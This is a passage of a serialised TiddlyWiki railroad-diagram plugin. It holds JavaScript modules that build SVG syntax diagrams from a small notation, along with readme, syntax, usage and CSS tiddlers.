            "text": "/*\\\ntitle: $:/plugins/tiddlywiki/railroad/components.js\ntype: application/javascript\nmodule-type: library\n\nComponents of a railroad diagram.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar railroad = require(\"$:/plugins/tiddlywiki/railroad/railroad-diagrams.js\");\n\n/////////////////////////// Base component\n\nvar Component = function() {\n\tthis.type = \"Component\";\n};\n\n// Set up a leaf component\nComponent.prototype.initialiseLeaf = function(type,text) {\n\tthis.type = type;\n\tthis.text = text;\n};\n\n// Set up a component with a single child\nComponent.prototype.initialiseWithChild = function(type,content) {\n\tthis.type = type;\n\tthis.child = toSingleChild(content);\n};\n\n// Set up a component with an array of children\nComponent.prototype.initialiseWithChildren = function(type,content) {\n\tthis.type = type;\n\t// Force the content to be an array\n\tthis.children = $tw.utils.isArray(content) ? content : [content];\n}\n\n// Return an array of the SVG strings of an array of children\nComponent.prototype.getSvgOfChildren = function() {\n\treturn this.children.map(function(child) {\n\t\treturn child.toSvg();\n\t});\n}\n\nComponent.prototype.toSvg = function() {\n\treturn \"\";\n}\n\nComponent.prototype.debug = function(output,indent) {\n\toutput.push(indent);\n\toutput.push(this.type);\n\t// Add the text of a leaf component\n\tif(this.text && this.text !== \"\") {\n\t\toutput.push(\": \");\n\t\toutput.push(this.text);\n\t}\n\t// Flag the normal route\n\tif(this.normal !== undefined) {\n\t\tif(this.normal === true) {\n\t\t\toutput.push(\" (normal)\");\n\t\t} else if(this.normal !== false) {\n\t\t\toutput.push(\" (normal: \");\n\t\t\toutput.push(this.normal);\n\t\t\toutput.push(\")\");\n\t\t}\n\t}\n\toutput.push(\"\\n\");\n\tvar contentIndent = indent + \"  \";\n\t// Add the one child\n\tif(this.child) {\n\t\tthis.child.debug(output,contentIndent);\n\t}\n\t// Add the array of children\n\tif(this.children) {\n\t\tthis.debugArray(this.children,output,contentIndent);\n\t}\n  \t// Add the separator if there is one\n\tif(this.separator) {\n\t\toutput.push(indent);\n\t\toutput.push(\"(separator)\\n\");\n\t\tthis.separator.debug(output,contentIndent);\n\t}\n};\n\nComponent.prototype.debugArray = function(array,output,indent) {\n\tfor(var i=0; i<array.length; i++) {\n\t\tvar item = array[i];\n\t\t// Choice content is a special case: we number the branches\n\t\tif(item.isChoiceBranch) {\n\t\t\toutput.push(indent);\n\t\t\toutput.push(\"(\");\n\t\t\toutput.push(i);\n\t\t\toutput.push(\")\\n\");\n\t\t\titem.debug(output,\"  \"+indent);\n\t\t} else {\n\t\t\titem.debug(output,indent);\n\t\t}\n\t}\n}\n\nvar toSingleChild = function(content) {\n\tif($tw.utils.isArray(content)) {\n\t\t// Reduce an array of one child to just the child\n\t\tif(content.length === 1) {\n\t\t\treturn content[0];\n\t\t} else {\n\t\t\t// Never allow an empty sequence\n\t\t  \tif(content.length === 0) {\n  \t\t\t\tcontent.push(new Dummy());\n\t\t  \t}\n\t\t\t// Wrap multiple children into a single sequence component\n\t\t\treturn new Sequence(content);\n\t\t}\n\t} else {\n\t\t// Already single\n\t\treturn content;\n\t}\n}\n\n/////////////////////////// Leaf components\n\nvar Comment = function(text) {\n\tthis.initialiseLeaf(\"Comment\",text);\n};\n\nComment.prototype = new Component();\n\nComment.prototype.toSvg = function() {\n\treturn railroad.Comment(this.text);\n}\n\nvar Dummy = function() {\n\tthis.initialiseLeaf(\"Dummy\");\n};\n\nDummy.prototype = new Component();\n\nDummy.prototype.toSvg = function() {\n\treturn railroad.Skip();\n}\n\nvar Nonterminal = function(text) {\n\tthis.initialiseLeaf(\"Nonterminal\",text);\n};\n\nNonterminal.prototype = new Component();\n\nNonterminal.prototype.toSvg = function() {\n\treturn railroad.NonTerminal(this.text);\n}\n\nvar Terminal = function(text) {\n\tthis.initialiseLeaf(\"Terminal\",text);\n};\n\nTerminal.prototype = new Component();\n\nTerminal.prototype.toSvg = function() {\n\treturn railroad.Terminal(this.text);\n}\n\n/////////////////////////// Components with one child\n\nvar Optional = function(content,normal) {\n\tthis.initialiseWithChild(\"Optional\",content);\n\tthis.normal = normal;\n};\n\nOptional.prototype = new Component();\n\nOptional.prototype.toSvg = function() {\n\t// Call Optional(component,\"skip\")\n\treturn railroad.Optional(this.child.toSvg(), this.normal ? undefined : \"skip\");\n}\n\nvar OptionalRepeated = function(content,separator,normal,wantArrow) {\n\tthis.initialiseWithChild(\"OptionalRepeated\",content);\n\tthis.separator = toSingleChild(separator);\n\tthis.normal = normal;\n\tthis.wantArrow = wantArrow;\n};\n\nOptionalRepeated.prototype = new Component();\n\nOptionalRepeated.prototype.toSvg = function() {\n\t// Call ZeroOrMore(component,separator,\"skip\")\n\tvar separatorSvg = this.separator ? this.separator.toSvg() : null;\n\tvar skip = this.normal ? undefined : \"skip\";\n\treturn railroad.ZeroOrMore(this.child.toSvg(),separatorSvg,skip,this.wantArrow);\n}\n\nvar Repeated = function(content,separator,wantArrow) {\n\tthis.initialiseWithChild(\"Repeated\",content);\n\tthis.separator = toSingleChild(separator);\n\tthis.wantArrow = wantArrow;\n};\n\nRepeated.prototype = new Component();\n\nRepeated.prototype.toSvg = function() {\n\t// Call OneOrMore(component,separator)\n\tvar separatorSvg = this.separator ? this.separator.toSvg() : null;\n\treturn railroad.OneOrMore(this.child.toSvg(),separatorSvg,this.wantArrow);\n}\n\nvar Link = function(content,options) {\n\tthis.initialiseWithChild(\"Link\",content);\n\tthis.options = options;\n};\n\nLink.prototype = new Component();\n\nLink.prototype.toSvg = function() {\n\treturn railroad.Link(this.child.toSvg(),this.options);\n}\n\nvar Transclusion = function(content) {\n\tthis.initialiseWithChild(\"Transclusion\",content);\n};\n\nTransclusion.prototype = new Component();\n\nTransclusion.prototype.toSvg = function() {\n\treturn this.child.toSvg();\n}\n\n/////////////////////////// Components with an array of children\n\nvar Root = function(content) {\n\tthis.initialiseWithChildren(\"Root\",content);\n};\n\nRoot.prototype = new Component();\n\nRoot.prototype.toSvg = function(options) {\n\tvar args = this.getSvgOfChildren();\n\targs.unshift(options);\n\t// Call Diagram(options,component1,component2,...)\n\treturn railroad.Diagram.apply(null,args);\n}\n\nvar Sequence = function(content) {\n\tthis.initialiseWithChildren(\"Sequence\",content);\n};\n\nSequence.prototype = new Component();\n\nSequence.prototype.toSvg = function() {\n\t// Call Sequence(component1,component2,...)\n\treturn railroad.Sequence.apply(null,this.getSvgOfChildren());\n}\n\nvar Choice = function(content,normal) {\n\tthis.initialiseWithChildren(\"Choice\",content.map(toSingleChild));\n\tfor(var i=0; i<this.children.length; i++) {\n\t\tthis.children[i].isChoiceBranch = true;\n\t}\n\tthis.normal = normal;\n};\n\nChoice.prototype = new Component();\n\nChoice.prototype.toSvg = function() {\n\t// Call Choice(normal,component1,component2,...)\n\tvar args = this.getSvgOfChildren();\n\targs.unshift(this.normal);\n\treturn railroad.Choice.apply(null,args);\n}\n\n/////////////////////////// Exports\n\nexports.components = {\n\tChoice: Choice,\n\tComment: Comment,\n\tDummy: Dummy,\n\tLink: Link,\n\tNonterminal: Nonterminal,\n\tOptional: Optional,\n\tOptionalRepeated: OptionalRepeated,\n\tRepeated: Repeated,\n\tRoot: Root,\n\tSequence: Sequence,\n\tTerminal: Terminal,\n\tTransclusion: Transclusion\n};\n\n})();",
            "type": "application/javascript",
            "module-type": "library"
        },
        "$:/plugins/tiddlywiki/railroad/example-source": {
            "title": "$:/plugins/tiddlywiki/railroad/example-source",
            "created": "20150103184022184",
            "modified": "20150119214125000",
            "tags": "",
            "type": "text/vnd.tiddlywiki.railroad",
            "text": "[\"+\"]\n({ [[digit|GettingStarted]] } | \"#\" <'escape sequence'>)\n[{(\"@\" name-char | :\"--\" )}]\n"
        },
        "$:/plugins/tiddlywiki/railroad/example": {
            "title": "$:/plugins/tiddlywiki/railroad/example",
            "created": "20150102165032410",
            "modified": "20150120090735000",
            "tags": "",
            "text": "Notation:\n\n<pre><code><$text text={{$:/plugins/tiddlywiki/railroad/example-source}}/></code></pre>\n\nDiagram:\n\n{{$:/plugins/tiddlywiki/railroad/example-source}}\n\nDebug mode:\n\n<$railroad debug=\"yes\" text={{$:/plugins/tiddlywiki/railroad/example-source}}/>\n"
        },
        "$:/plugins/tiddlywiki/railroad/readme": {
            "title": "$:/plugins/tiddlywiki/railroad/readme",
            "created": "20150102163222184",
            "modified": "20150119231005000",
            "text": "This plugin provides a `<$railroad>` widget for generating railroad diagrams as SVG images.\n\nAlternatively, the [[diagram notation|$:/plugins/tiddlywiki/railroad/syntax]] can be stored in a dedicated tiddler with its `type` field set to `text/vnd.tiddlywiki.railroad`, and that tiddler can simply be transcluded to wherever it is needed.\n\nThe plugin is based on [[a library by Tab Atkins|https://github.com/tabatkins/railroad-diagrams]], and has been extended to make it more flexible, including allowing components of a diagram to function as links or be transcluded from other tiddlers.\n"
        },
        "$:/plugins/tiddlywiki/railroad/syntax-string": {
            "title": "$:/plugins/tiddlywiki/railroad/syntax-string",
            "created": "20150103184022184",
            "modified": "20150103184022184",
            "text": "('\"' text '\"' | \"'\" text \"'\" | '\"\"\"' text '\"\"\"')"
        },
        "$:/plugins/tiddlywiki/railroad/syntax": {
            "title": "$:/plugins/tiddlywiki/railroad/syntax",
            "created": "20150103184022184",
            "modified": "20150119220342000",
            "text": "The railroad widget uses a special notation to construct the components defined below.\n\n`x` and `y` here stand for any component.\n\nNames (as opposed to quoted strings) are available when a value starts with a letter and contains only letters, digits, underscores, dots and hyphens.\n\n---\n\n; sequence\n: <$railroad text=\"\"\" [\"<-\"] {x} [\"->\"] \"\"\"/>\n* A sequence of components\n* The `<-` and `->` delimiters allow you to force a single component to be treated as a sequence. This is occasionally useful for spacing a diagram out\n\n---\n\n; optional\n: <$railroad text=\"\"\" \"[\" [\":\"] x \"]\" \"\"\"/>\n* A component that can be omitted\n* The colon makes `x` appear straight ahead\n\n---\n\n; repeated\n: <$railroad text=\"\"\" \"{\" x [:\"+\" y] \"}\" \"\"\"/>\n* A list of one or more `x`\n* The `+` suffix adds `y` as a separator between each `x` and the next\n\n---\n\n; optional repeated\n: <$railroad text=\"\"\" \"[{\" [\":\"] x [:\"+\" y] \"}]\" \"\"\"/>\n* An optional list of `x`, i.e. a list of zero or more `x`\n\n---\n\n; choice\n: <$railroad text=\"\"\" \"(\" {[:\":\"] x +\"|\"} \")\" \"\"\"/>\n* A set of alternatives\n* The colon indicates which branch appears straight ahead. By default, it's the first branch\n\n---\n\n; string / terminal\n: <$railroad text={{$:/plugins/tiddlywiki/railroad/syntax-string}}/>\n* A literal or terminal component\n* This follows the normal ~TiddlyWiki rules for quoted strings\n\n---\n\n; nonterminal\n: <$railroad text=\"\"\" (name | \"<\" string \">\") \"\"\"/>\n* A nonterminal component, i.e. the name of another diagram\n\n---\n\n; comment\n: <$railroad text=\"\"\" \"/\" string \"/\" \"\"\"/>\n* A comment\n\n---\n\n; dummy\n: <$railroad text=\"\"\" \"-\" \"\"\"/>\n* The absence of a component\n\n---\n\n; link\n: <$railroad text=\"\"\" \"[[\" x \"|\" (name|string) \"]]\" \"\"\"/>\n* A link to the tiddler title or URI given by the string or name\n\n---\n\n; transclusion\n: <$railroad text=\"\"\" \"{{\" (name|string) \"}}\" \"\"\"/>\n* Treats the content of another tiddler as diagram syntax and transcludes it into the current diagram\n\n---\n\n; arrow pragma\n: <$railroad text=\"\"\" \"\\arrow\" (\"yes\" | \"no\") \"\"\"/>\n* Controls whether repeat paths have an arrow on them\n* Can be toggled on and off in mid-diagram, if desired\n\n---\n\n; debug pragma\n: <$railroad text=\"\"\" \"\\debug\" \"\"\"/>\n* Causes the diagram to display its parse tree\n\n---\n\n; start/end pragma\n: <$railroad text=\"\"\" (\"\\start\" |: \"\\end\") (\"none\" |: \"single\" | \"double\") \"\"\"/>\n* Controls the style of the diagram's startpoint or endpoint\n"
        },
        "$:/plugins/tiddlywiki/railroad/usage": {
            "title": "$:/plugins/tiddlywiki/railroad/usage",
            "created": "20150102163222184",
            "modified": "20150119231005000",
            "text": "The content of the `<$railroad>` widget is ignored.\n\n|!Attribute |!Description |!Default |\n|text |Text in a special notation that defines the diagram's layout |-- |\n|arrow |If set to `no`, repeat paths do not have an arrow on them |`yes` |\n|start |Style of the startpoint: `single`, `double`, `none` |`single` |\n|end |Style of the endpoint: `single`, `double`, `none` |`single` |\n|debug |If set to `yes`, the diagram displays its parse tree |`no` |\n\nThese options can also be specified via pragmas in the diagram notation, or globally via a dictionary tiddler called `$:/config/railroad`:\n\n```\narrow: yes\nstart: single\nend: single\ndebug: no\n```\n"
        },
        "$:/plugins/tiddlywiki/railroad/railroad-diagrams.css": {
            "text": "/* CSS modified for TiddlyWiki */\nsvg.railroad-diagram {\n\tbackground-color: hsl(30,20%,98%);\n\tborder-radius: 5px;\n}\nsvg.railroad-diagram:hover {\n\tbackground-color: hsl(30,20%,96%);\n}\nsvg.railroad-diagram path,\nsvg.railroad-diagram rect {\n\tstroke-width: 2;\n\tstroke: #333;\n}\nsvg.railroad-diagram path {\n\tfill: rgba(0,0,0,0);\n}\nsvg.railroad-diagram rect {\n\tfill: hsl(120,100%,90%);\n}\nsvg.railroad-diagram text {\n\tfont: 14px monospace;\n\ttext-anchor: middle;\n}\nsvg.railroad-diagram text.label {\n\ttext-anchor: start;\n}\nsvg.railroad-diagram text.comment {\n\tfont: italic 12px monospace;\n}\nsvg.railroad-diagram path.arrow {\n    stroke-width: 2;\n}",
            "type": "text/css",
            "title": "$:/plugins/tiddlywiki/railroad/railroad-diagrams.css",
            "tags": "$:/tags/Stylesheet"
        },
        "$:/plugins/tiddlywiki/railroad/railroad-diagrams.js": {
            "text": "(function(document) {\n/* TiddlyWiki: modifications to the original library are commented like this */\n\n/*\nRailroad Diagrams\nby Tab Atkins Jr. (and others)\nhttp://xanthir.com\nhttp://twitter.com/tabatkins\nhttp://github.com/tabatkins/railroad-diagrams\n\nThis document and all associated files in the github project are licensed under CC0: http://creativecommons.org/publicdomain/zero/1.0/\nThis means you can reuse, remix, or otherwise appropriate this project for your own use WITHOUT RESTRICTION.\n(The actual legal meaning can be found at the above link.)\nDon't ask me for permission to use any part of this project, JUST USE IT.\nI would appreciate attribution, but that is not required by the license.\n*/\n\n/*\nThis file uses a module pattern to avoid leaking names into the global scope.\nThe only accidental leakage is the name \"temp\".\nThe exported names can be found at the bottom of this file;\nsimply change the names in the array of strings to change what they are called in your application.\n\nAs well, several configuration constants are passed into the module function at the bottom of this file.\nAt runtime, these constants can be found on the Diagram class.\n*/\n\nvar temp = (function(options) {\n\tfunction subclassOf(baseClass, superClass) {\n\t\tbaseClass.prototype = Object.create(superClass.prototype);\n\t\tbaseClass.prototype.$super = superClass.prototype;\n\t}\n\n\tfunction unnull(/* children */) {\n\t\treturn [].slice.call(arguments).reduce(function(sofar, x) { return sofar !== undefined ? sofar : x; });\n\t}\n\n\tfunction determineGaps(outer, inner) {\n\t\tvar diff = outer - inner;\n\t\tswitch(Diagram.INTERNAL_ALIGNMENT) {\n\t\t\tcase 'left': return [0, diff]; break;\n\t\t\tcase 'right': return [diff, 0]; break;\n\t\t\tcase 'center':\n\t\t\tdefault: return [diff/2, diff/2]; break;\n\t\t}\n\t}\n\n\tfunction wrapString(value) {\n\t\treturn ((typeof value) == 'string') ? new Terminal(value) : value;\n\t}\n\n\n\tfunction SVG(name, attrs, text) {\n\t\tattrs = attrs || {};\n\t\ttext = text || '';\n\t\tvar el = document.createElementNS(\"http://www.w3.org/2000/svg\",name);\n\t\tfor(var attr in attrs) {\n\t\t\tel.setAttribute(attr, attrs[attr]);\n\t\t}\n\t\tel.textContent = text;\n\t\treturn el;\n\t}\n\n\tfunction FakeSVG(tagName, attrs, text){\n\t\tif(!(this instanceof FakeSVG)) return new FakeSVG(tagName, attrs, text);\n\t\tif(text) this.children = text;\n\t\telse this.children = [];\n\t\tthis.tagName = tagName;\n\t\tthis.attrs = unnull(attrs, {});\n\t\treturn this;\n\t};\n\tFakeSVG.prototype.format = function(x, y, width) {\n\t\t// Virtual\n\t};\n\tFakeSVG.prototype.addTo = function(parent) {\n\t\tif(parent instanceof FakeSVG) {\n\t\t\tparent.children.push(this);\n\t\t\treturn this;\n\t\t} else {\n\t\t\tvar svg = this.toSVG();\n\t\t\tparent.appendChild(svg);\n\t\t\treturn svg;\n\t\t}\n\t};\n\tFakeSVG.prototype.toSVG = function() {\n\t\tvar el = SVG(this.tagName, this.attrs);\n\t\tif(typeof this.children == 'string') {\n\t\t\tel.textContent = this.children;\n\t\t} else {\n\t\t\tthis.children.forEach(function(e) {\n\t\t\t\tel.appendChild(e.toSVG());\n\t\t\t});\n\t\t}\n\t\treturn el;\n\t};\n\tFakeSVG.prototype.toString = function() {\n\t\tvar str = '<' + this.tagName;\n\t\tvar group = this.tagName == \"g\" || this.tagName == \"svg\";\n\t\tfor(var attr in this.attrs) {\n\t\t\tstr += ' ' + attr + '=\"' + (this.attrs[attr]+'').replace(/&/g, '&amp;').replace(/\"/g, '&quot;') + '\"';\n\t\t}\n\t\tstr += '>';\n\t\tif(group) str += \"\\n\";\n\t\tif(typeof this.children == 'string') {\n\t\t\tstr += this.children.replace(/&/g, '&amp;').replace(/</g, '&lt;');\n\t\t} else {\n\t\t\tthis.children.forEach(function(e) {\n\t\t\t\tstr += e;\n\t\t\t});\n\t\t}\n\t\tstr += '</' + this.tagName + '>\\n';\n\t\treturn str;\n\t}\n\n\tfunction Path(x,y,attrs) {\n\t\tif(!(this instanceof Path)) return new Path(x,y,attrs);\n\t\tFakeSVG.call(this, 'path', attrs);\n\t\tthis.attrs.d = \"M\"+x+' '+y;\n\t}\n\tsubclassOf(Path, FakeSVG);\n\tPath.prototype.m = function(x,y) {\n\t\tthis.attrs.d += 'm'+x+' '+y;\n\t\treturn this;\n\t}\n\tPath.prototype.h = function(val) {\n\t\tthis.attrs.d += 'h'+val;\n\t\treturn this;\n\t}\n\tPath.prototype.right = Path.prototype.h;\n\tPath.prototype.left = function(val) { return this.h(-val); }\n\tPath.prototype.v = function(val) {\n\t\tthis.attrs.d += 'v'+val;\n\t\treturn this;\n\t}\n\tPath.prototype.down = Path.prototype.v;\n\tPath.prototype.up = function(val) { return this.v(-val); }\n\tPath.prototype.arc = function(sweep){\n\t\tvar x = Diagram.ARC_RADIUS;\n\t\tvar y = Diagram.ARC_RADIUS;\n\t\tif(sweep[0] == 'e' || sweep[1] == 'w') {\n\t\t\tx *= -1;\n\t\t}\n\t\tif(sweep[0] == 's' || sweep[1] == 'n') {\n\t\t\ty *= -1;\n\t\t}\n\t\tif(sweep == 'ne' || sweep == 'es' || sweep == 'sw' || sweep == 'wn') {\n\t\t\tvar cw = 1;\n\t\t} else {\n\t\t\tvar cw = 0;\n\t\t}\n\t\tthis.attrs.d += \"a\"+Diagram.ARC_RADIUS+\" \"+Diagram.ARC_RADIUS+\" 0 0 \"+cw+' '+x+' '+y;\n\t\treturn this;\n\t}\n\tPath.prototype.format = function() {\n\t\t// All paths in this library start/end horizontally.\n\t\t// The extra .5 ensures a minor overlap, so there's no seams in bad rasterizers.\n\t\tthis.attrs.d += 'h.5';\n\t\treturn this;\n\t}\n/* TiddlyWiki: added support for arbitrary straight lines */\n\tPath.prototype.line = function(dx,dy) {\n\t\tthis.attrs.d += \"l\"+dx+\" \"+dy;\n\t\treturn this;\n\t}\n\n/* TiddlyWiki: added twOptions parameter, passing it to Start() and End() */\n\tfunction Diagram(twOptions, items) {\n\t\tif(!(this instanceof Diagram)) return new Diagram(twOptions, [].slice.call(arguments,1));\n\t\tFakeSVG.call(this, 'svg', {class: Diagram.DIAGRAM_CLASS});\n\t\tthis.items = items.map(wrapString);\n\t\tthis.items.unshift(new Start(twOptions.start));\n\t\tthis.items.push(new End(twOptions.end));\n\t\tthis.width = this.items.reduce(function(sofar, el) { return sofar + el.width + (el.needsSpace?20:0)}, 0)+1;\n\t\tthis.up = Math.max.apply(null, this.items.map(function (x) { return x.up; }));\n\t\tthis.down = Math.max.apply(null, this.items.map(function (x) { return x.down; }));\n\t\tthis.formatted = false;\t\t\n\t}\n\tsubclassOf(Diagram, FakeSVG);\n\tfor(var option in options) {\n\t\tDiagram[option] = options[option];\n\t}\n\tDiagram.prototype.format = function(paddingt, paddingr, paddingb, paddingl) {\n\t\tpaddingt = unnull(paddingt, 20);\n\t\tpaddingr = unnull(paddingr, paddingt, 20);\n\t\tpaddingb = unnull(paddingb, paddingt, 20);\n\t\tpaddingl = unnull(paddingl, paddingr, 20);\n\t\tvar x = paddingl;\n\t\tvar y = paddingt;\n\t\ty += this.up;\n\t\tvar g = FakeSVG('g', Diagram.STROKE_ODD_PIXEL_LENGTH ? {transform:'translate(.5 .5)'} : {});\n\t\tfor(var i = 0; i < this.items.length; i++) {\n\t\t\tvar item = this.items[i];\n\t\t\tif(item.needsSpace) {\n\t\t\t\tPath(x,y).h(10).addTo(g);\n\t\t\t\tx += 10;\n\t\t\t}\n\t\t\titem.format(x, y, item.width).addTo(g);\n\t\t\tx += item.width;\n\t\t\tif(item.needsSpace) {\n\t\t\t\tPath(x,y).h(10).addTo(g);\n\t\t\t\tx += 10;\n\t\t\t}\n\t\t}\n\t\tthis.attrs.width = this.width + paddingl + paddingr;\n\t\tthis.attrs.height = this.up + this.down + paddingt + paddingb;\n\t\tthis.attrs.viewBox = \"0 0 \"  + this.attrs.width + \" \" + this.attrs.height;\n\t\tg.addTo(this);\n\t\tthis.formatted = true;\n\t\treturn this;\n\t}\n\tDiagram.prototype.addTo = function(parent) {\n\t\tvar scriptTag = document.getElementsByTagName('script');\n\t\tscriptTag = scriptTag[scriptTag.length - 1];\n\t\tvar parentTag = scriptTag.parentNode;\n\t\tparent = parent || parentTag;\n\t\treturn this.$super.addTo.call(this, parent);\n\t}\n\tDiagram.prototype.toSVG = function() {\n\t\tif (!this.formatted) {\n\t\t\tthis.format();\n\t\t}\n\t\treturn this.$super.toSVG.call(this);\n\t}\n\tDiagram.prototype.toString = function() {\n\t\tif (!this.formatted) {\n\t\t\tthis.format();\n\t\t}\n\t\treturn this.$super.toString.call(this);\n\t}\n\n\tfunction Sequence(items) {\n\t\tif(!(this instanceof Sequence)) return new Sequence([].slice.call(arguments));\n\t\tFakeSVG.call(this, 'g');\n\t\tthis.items = items.map(wrapString);\n\t\tthis.width = this.items.reduce(function(sofar, el) { return sofar + el.width + (el.needsSpace?20:0)}, 0);\n\t\tthis.up = this.items.reduce(function(sofar,el) { return Math.max(sofar, el.up)}, 0);\n\t\tthis.down = this.items.reduce(function(sofar,el) { return Math.max(sofar, el.down)}, 0);\n\t}\n\tsubclassOf(Sequence, FakeSVG);\n\tSequence.prototype.format = function(x,y,width) {\n\t\t// Hook up the two sides if this is narrower than its stated width.\n\t\tvar gaps = determineGaps(width, this.width);\n\t\tPath(x,y).h(gaps[0]).addTo(this);\n\t\tPath(x+gaps[0]+this.width,y).h(gaps[1]).addTo(this);\n\t\tx += gaps[0];\n\n\t\tfor(var i = 0; i < this.items.length; i++) {\n\t\t\tvar item = this.items[i];\n\t\t\tif(item.needsSpace) {\n\t\t\t\tPath(x,y).h(10).addTo(this);\n\t\t\t\tx += 10;\n\t\t\t}\n\t\t\titem.format(x, y, item.width).addTo(this);\n\t\t\tx += item.width;\n\t\t\tif(item.needsSpace) {\n\t\t\t\tPath(x,y).h(10).addTo(this);\n\t\t\t\tx += 10;\n\t\t\t}\n\t\t}\n\t\treturn this;\n\t}\n\n\tfunction Choice(normal, items) {\n\t\tif(!(this instanceof Choice)) return new Choice(normal, [].slice.call(arguments,1));\n\t\tFakeSVG.call(this, 'g');\n\t\tif( typeof normal !== \"number\" || normal !== Math.floor(normal) ) {\n\t\t\tthrow new TypeError(\"The first argument of Choice() must be an integer.\");\n\t\t} else if(normal < 0 || normal >= items.length) {\n\t\t\tthrow new RangeError(\"The first argument of Choice() must be an index for one of the items.\");\n\t\t} else {\n\t\t\tthis.normal = normal;\n\t\t}\n\t\tthis.items = items.map(wrapString);\n\t\tthis.width = this.items.reduce(function(sofar, el){return Math.max(sofar, el.width)},0) + Diagram.ARC_RADIUS*4;\n\t\tthis.up = this.down = 0;\n\t\tfor(var i = 0; i < this.items.length; i++) {\n\t\t\tvar item = this.items[i];\n\t\t\tif(i < normal) { this.up += Math.max(Diagram.ARC_RADIUS,item.up + item.down + Diagram.VERTICAL_SEPARATION); }\n\t\t\tif(i == normal) { this.up += Math.max(Diagram.ARC_RADIUS, item.up); this.down += Math.max(Diagram.ARC_RADIUS, item.down); }\n\t\t\tif(i > normal) { this.down += Math.max(Diagram.ARC_RADIUS,Diagram.VERTICAL_SEPARATION + item.up + item.down); }\n\t\t}\n\t}\n\tsubclassOf(Choice, FakeSVG);\n\tChoice.prototype.format = function(x,y,width) {\n\t\t// Hook up the two sides if this is narrower than its stated width.\n\t\tvar gaps = determineGaps(width, this.width);\n\t\tPath(x,y).h(gaps[0]).addTo(this);\n\t\tPath(x+gaps[0]+this.width,y).h(gaps[1]).addTo(this);\n\t\tx += gaps[0];\n\n\t\tvar last = this.items.length -1;\n\t\tvar innerWidth = this.width - Diagram.ARC_RADIUS*4;\n\n\t\t// Do the elements that curve above\n\t\tfor(var i = this.normal - 1; i >= 0; i--) {\n\t\t\tvar item = this.items[i];\n\t\t\tif( i == this.normal - 1 ) {\n\t\t\t\tvar distanceFromY = Math.max(Diagram.ARC_RADIUS*2, this.items[i+1].up + Diagram.VERTICAL_SEPARATION + item.down);\n\t\t\t}\n\t\t\tPath(x,y).arc('se').up(distanceFromY - Diagram.ARC_RADIUS*2).arc('wn').addTo(this);\n\t\t\titem.format(x+Diagram.ARC_RADIUS*2,y - distanceFromY,innerWidth).addTo(this);\n\t\t\tPath(x+Diagram.ARC_RADIUS*2+innerWidth, y-distanceFromY).arc('ne').down(distanceFromY - Diagram.ARC_RADIUS*2).arc('ws').addTo(this);\n\t\t\tdistanceFromY += Math.max(Diagram.ARC_RADIUS, item.up + Diagram.VERTICAL_SEPARATION + (i == 0 ? 0 : this.items[i-1].down));\n\t\t}\n\n\t\t// Do the straight-line path.\n\t\tPath(x,y).right(Diagram.ARC_RADIUS*2).addTo(this);\n\t\tthis.items[this.normal].format(x+Diagram.ARC_RADIUS*2, y, innerWidth).addTo(this);\n\t\tPath(x+Diagram.ARC_RADIUS*2+innerWidth, y).right(Diagram.ARC_RADIUS*2).addTo(this);\n\n\t\t// Do the elements that curve below\n\t\tfor(var i = this.normal+1; i <= last; i++) {\n\t\t\tvar item = this.items[i];\n\t\t\tif( i == this.normal + 1 ) {\n\t\t\t\tvar distanceFromY = Math.max(Diagram.ARC_RADIUS*2, this.items[i-1].down + Diagram.VERTICAL_SEPARATION + item.up);\n\t\t\t}\n\t\t\tPath(x,y).arc('ne').down(distanceFromY - Diagram.ARC_RADIUS*2).arc('ws').addTo(this);\n\t\t\titem.format(x+Diagram.ARC_RADIUS*2, y+distanceFromY, innerWidth).addTo(this);\n\t\t\tPath(x+Diagram.ARC_RADIUS*2+innerWidth, y+distanceFromY).arc('se').up(distanceFromY - Diagram.ARC_RADIUS*2).arc('wn').addTo(this);\n\t\t\tdistanceFromY += Math.max(Diagram.ARC_RADIUS, item.down + Diagram.VERTICAL_SEPARATION + (i == last ? 0 : this.items[i+1].up));\n\t\t}\n\n\t\treturn this;\n\t}\n\n\tfunction Optional(item, skip) {\n\t\tif( skip === undefined )\n\t\t\treturn Choice(1, Skip(), item);\n\t\telse if ( skip === \"skip\" )\n\t\t\treturn Choice(0, Skip(), item);\n\t\telse\n\t\t\tthrow \"Unknown value for Optional()'s 'skip' argument.\";\n\t}\n\n/* TiddlyWiki: added wantArrow */\n\tfunction OneOrMore(item, rep, wantArrow) {\n\t\tif(!(this instanceof OneOrMore)) return new OneOrMore(item, rep, wantArrow);\n\t\tFakeSVG.call(this, 'g');\n\n/* TiddlyWiki: code added */\n\t\tthis.wantArrow = wantArrow;\n\n\t\trep = rep || (new Skip);\n\t\tthis.item = wrapString(item);\n\t\tthis.rep = wrapString(rep);\n\t\tthis.width = Math.max(this.item.width, this.rep.width) + Diagram.ARC_RADIUS*2;\n\t\tthis.up = this.item.up;\n\t\tthis.down = Math.max(Diagram.ARC_RADIUS*2, this.item.down + Diagram.VERTICAL_SEPARATION + this.rep.up + this.rep.down);\n\n/* TiddlyWiki: moved calculation of distanceFromY (of the repeat arc) to here */\n\t\tthis.distanceFromY = Math.max(Diagram.ARC_RADIUS*2, this.item.down+Diagram.VERTICAL_SEPARATION+this.rep.up);\n\t}\n\tsubclassOf(OneOrMore, FakeSVG);\n\tOneOrMore.prototype.needsSpace = true;\n\tOneOrMore.prototype.format = function(x,y,width) {\n\t\t// Hook up the two sides if this is narrower than its stated width.\n\t\tvar gaps = determineGaps(width, this.width);\n\t\tPath(x,y).h(gaps[0]).addTo(this);\n\t\tPath(x+gaps[0]+this.width,y).h(gaps[1]).addTo(this);\n\t\tx += gaps[0];\n\n\t\t// Draw item\n\t\tPath(x,y).right(Diagram.ARC_RADIUS).addTo(this);\n\t\tthis.item.format(x+Diagram.ARC_RADIUS,y,this.width-Diagram.ARC_RADIUS*2).addTo(this);\n\t\tPath(x+this.width-Diagram.ARC_RADIUS,y).right(Diagram.ARC_RADIUS).addTo(this);\n\n\t\t// Draw repeat arc\n/* TiddlyWiki: moved calculation of distanceFromY from here to constructor */\n\t\tvar distanceFromY = this.distanceFromY;\n\t\t\n\t\tPath(x+Diagram.ARC_RADIUS,y).arc('nw').down(distanceFromY-Diagram.ARC_RADIUS*2).arc('ws').addTo(this);\n\t\tthis.rep.format(x+Diagram.ARC_RADIUS, y+distanceFromY, this.width - Diagram.ARC_RADIUS*2).addTo(this);\n\t\tPath(x+this.width-Diagram.ARC_RADIUS, 